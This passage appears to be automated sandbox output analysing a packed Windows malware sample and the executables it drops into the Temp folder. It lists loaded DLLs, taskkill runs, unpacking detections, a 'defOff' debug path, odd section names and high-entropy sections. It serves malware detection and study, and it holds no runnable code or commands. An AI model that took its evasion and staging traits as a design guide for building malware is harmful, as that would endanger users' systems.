Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2948608 > 1048576

Source: file.exe

Static PE information: Raw size of blpxggon is bigger than: 0x100000 < 0x2a4200

Source:	Binary string: my_library.pdbU source: 26972fc2ff.exe, 0000000C.00000002.2976877638.000000000061C000.00000040.00000001.01000000.0000000F.sdmp, 26972fc2ff.exe, 0000000C.00000003.2936121608.000000000507B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: 26972fc2ff.exe, 0000000C.00000002.2976877638.000000000061C000.00000040.00000001.01000000.0000000F.sdmp, 26972fc2ff.exe, 0000000C.00000003.2936121608.000000000507B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: QQVU8579GXGT7ENXLIPV.exe, 00000005.00000003.2343873112.0000000005100000.00000004.00001000.00020000.00000000.sdmp, QQVU8579GXGT7ENXLIPV.exe, 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmp, HGRF5Z7TYW7E33AW.exe, 0000001B.00000003.3099762057.0000000004F90000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Unpacked PE file: 5.2.QQVU8579GXGT7ENXLIPV.exe.460000.0.unpack :EW;.rsrc:W;.idata :W;zkwuykka:EW;bkhlhcye:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Unpacked PE file: 6.2.1X626IF7XY5V3PR2WUE6.exe.1000000.0.unpack :EW;.rsrc:W;.idata :W; :EW;febftsfn:EW;dcycmmut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;febftsfn:EW;dcycmmut:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.da0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;febftsfn:EW;dcycmmut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;febftsfn:EW;dcycmmut:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Unpacked PE file: 12.2.26972fc2ff.exe.5f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fcyxulxu:EW;umqfzdml:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fcyxulxu:EW;umqfzdml:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Unpacked PE file: 33.2.DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.ab0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;febftsfn:EW;dcycmmut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;febftsfn:EW;dcycmmut:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Unpacked PE file: 34.2.26972fc2ff.exe.5f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fcyxulxu:EW;umqfzdml:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fcyxulxu:EW;umqfzdml:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: random[1].exe.10.dr	Static PE information: real checksum: 0x2d359c should be: 0x2d9f37
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: real checksum: 0x1d54cf should be: 0x1d895e
Source: 26972fc2ff.exe.10.dr	Static PE information: real checksum: 0x217bfe should be: 0x215e22
Source: 76O2EO62U6RFDJ26N.exe.13.dr	Static PE information: real checksum: 0x2b76cf should be: 0x2b4bb1
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: real checksum: 0x1d54cf should be: 0x1d895e
Source: random[1].exe0.10.dr	Static PE information: real checksum: 0x217bfe should be: 0x215e22
Source: 9f543353fa.exe.10.dr	Static PE information: real checksum: 0x2d359c should be: 0x2d9f37
Source: skotes.exe.6.dr	Static PE information: real checksum: 0x1d54cf should be: 0x1d895e
Source: QQVU8579GXGT7ENXLIPV.exe.0.dr	Static PE information: real checksum: 0x2b7a02 should be: 0x2af641
Source: HGRF5Z7TYW7E33AW.exe.11.dr	Static PE information: real checksum: 0x2b76cf should be: 0x2b4bb1
Source: file.exe	Static PE information: real checksum: 0x2d359c should be: 0x2d9f37
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: real checksum: 0x1d54cf should be: 0x1d895e
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: real checksum: 0x1d54cf should be: 0x1d895e
Source: num[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: blpxggon
Source: file.exe	Static PE information: section name: mabdpyjv
Source: file.exe	Static PE information: section name: .taggant
Source: QQVU8579GXGT7ENXLIPV.exe.0.dr	Static PE information: section name:
Source: QQVU8579GXGT7ENXLIPV.exe.0.dr	Static PE information: section name: .idata
Source: QQVU8579GXGT7ENXLIPV.exe.0.dr	Static PE information: section name: zkwuykka
Source: QQVU8579GXGT7ENXLIPV.exe.0.dr	Static PE information: section name: bkhlhcye
Source: QQVU8579GXGT7ENXLIPV.exe.0.dr	Static PE information: section name: .taggant
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: section name:
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: section name: .idata
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: section name:
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: section name: febftsfn
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: section name: dcycmmut
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.6.dr	Static PE information: section name:
Source: skotes.exe.6.dr	Static PE information: section name: .idata
Source: skotes.exe.6.dr	Static PE information: section name:
Source: skotes.exe.6.dr	Static PE information: section name: febftsfn
Source: skotes.exe.6.dr	Static PE information: section name: dcycmmut
Source: skotes.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe.10.dr	Static PE information: section name: blpxggon
Source: random[1].exe.10.dr	Static PE information: section name: mabdpyjv
Source: random[1].exe.10.dr	Static PE information: section name: .taggant
Source: 9f543353fa.exe.10.dr	Static PE information: section name:
Source: 9f543353fa.exe.10.dr	Static PE information: section name: .idata
Source: 9f543353fa.exe.10.dr	Static PE information: section name: blpxggon
Source: 9f543353fa.exe.10.dr	Static PE information: section name: mabdpyjv
Source: 9f543353fa.exe.10.dr	Static PE information: section name: .taggant
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: fcyxulxu
Source: random[1].exe0.10.dr	Static PE information: section name: umqfzdml
Source: random[1].exe0.10.dr	Static PE information: section name: .taggant
Source: 26972fc2ff.exe.10.dr	Static PE information: section name:
Source: 26972fc2ff.exe.10.dr	Static PE information: section name: .rsrc
Source: 26972fc2ff.exe.10.dr	Static PE information: section name: .idata
Source: 26972fc2ff.exe.10.dr	Static PE information: section name:
Source: 26972fc2ff.exe.10.dr	Static PE information: section name: fcyxulxu
Source: 26972fc2ff.exe.10.dr	Static PE information: section name: umqfzdml
Source: 26972fc2ff.exe.10.dr	Static PE information: section name: .taggant
Source: HGRF5Z7TYW7E33AW.exe.11.dr	Static PE information: section name:
Source: HGRF5Z7TYW7E33AW.exe.11.dr	Static PE information: section name: .idata
Source: HGRF5Z7TYW7E33AW.exe.11.dr	Static PE information: section name: dgcknkdt
Source: HGRF5Z7TYW7E33AW.exe.11.dr	Static PE information: section name: xsoukktr
Source: HGRF5Z7TYW7E33AW.exe.11.dr	Static PE information: section name: .taggant
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: section name:
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: section name: .idata
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: section name:
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: section name: febftsfn
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: section name: dcycmmut
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: section name: .taggant
Source: 76O2EO62U6RFDJ26N.exe.13.dr	Static PE information: section name:
Source: 76O2EO62U6RFDJ26N.exe.13.dr	Static PE information: section name: .idata
Source: 76O2EO62U6RFDJ26N.exe.13.dr	Static PE information: section name: dgcknkdt
Source: 76O2EO62U6RFDJ26N.exe.13.dr	Static PE information: section name: xsoukktr
Source: 76O2EO62U6RFDJ26N.exe.13.dr	Static PE information: section name: .taggant
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: section name:
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: section name: .idata
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: section name:
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: section name: febftsfn
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: section name: dcycmmut
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: section name: .taggant
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: section name:
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: section name: .idata
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: section name:
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: section name: febftsfn
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: section name: dcycmmut
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AEF4F0 push cs; iretd	0_3_00AEF6B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AEF4F0 push cs; iretd	0_3_00AEF6B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AEF4F0 push cs; iretd	0_3_00AEF6B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AFA839 push esi; iretd	0_3_00AFA83B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AFA839 push esi; iretd	0_3_00AFA83B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AFA839 push esi; iretd	0_3_00AFA83B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AEF401 push eax; iretd	0_3_00AEF403
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AEF401 push eax; iretd	0_3_00AEF403
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AEF401 push eax; iretd	0_3_00AEF403
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AF766D push ebp; iretd	0_3_00AF7623
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AF766D push ebp; iretd	0_3_00AF7623
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AF766D push ebp; iretd	0_3_00AF7623
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AF8E4F push esi; iretd	0_3_00AF8E4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AF8E4F push esi; iretd	0_3_00AF8E4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AF8E4F push esi; iretd	0_3_00AF8E4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AECE5B push ds; iretd	0_3_00AECE7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AECE5B push ds; iretd	0_3_00AECE7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AECE5B push ds; iretd	0_3_00AECE7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AF8BAD push esi; iretd	0_3_00AF8E4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AF8BAD push esi; iretd	0_3_00AF8E4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AF8BAD push esi; iretd	0_3_00AF8E4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AF5F2A push ds; iretd	0_3_00AF5F2B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AF5F2A push ds; iretd	0_3_00AF5F2B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AF5F2A push ds; iretd	0_3_00AF5F2B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AFB11C push esp; iretd	0_3_00AFB133
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AFB11C push esp; iretd	0_3_00AFB133
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AFB11C push esp; iretd	0_3_00AFB133
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B3B2F1 push edi; iretd	0_3_00B3B2F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B3B2F1 push edi; iretd	0_3_00B3B2F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B3A6F0 push ebp; iretd	0_3_00B3A6F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B3A6F0 push ebp; iretd	0_3_00B3A6F3

Source: file.exe	Static PE information: section name: entropy: 7.976277548646829
Source: QQVU8579GXGT7ENXLIPV.exe.0.dr	Static PE information: section name: entropy: 7.793776004967461
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: section name: entropy: 7.988414640918369
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: section name: febftsfn entropy: 7.953811731682004
Source: skotes.exe.6.dr	Static PE information: section name: entropy: 7.988414640918369
Source: skotes.exe.6.dr	Static PE information: section name: febftsfn entropy: 7.953811731682004
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.976277548646829
Source: 9f543353fa.exe.10.dr	Static PE information: section name: entropy: 7.976277548646829
Source: random[1].exe0.10.dr	Static PE information: section name: fcyxulxu entropy: 7.954869517390772
Source: 26972fc2ff.exe.10.dr	Static PE information: section name: fcyxulxu entropy: 7.954869517390772
Source: HGRF5Z7TYW7E33AW.exe.11.dr	Static PE information: section name: entropy: 7.798102650999745
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: section name: entropy: 7.988414640918369
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: section name: febftsfn entropy: 7.953811731682004
Source: 76O2EO62U6RFDJ26N.exe.13.dr	Static PE information: section name: entropy: 7.798102650999745
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: section name: entropy: 7.988414640918369
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: section name: febftsfn entropy: 7.953811731682004
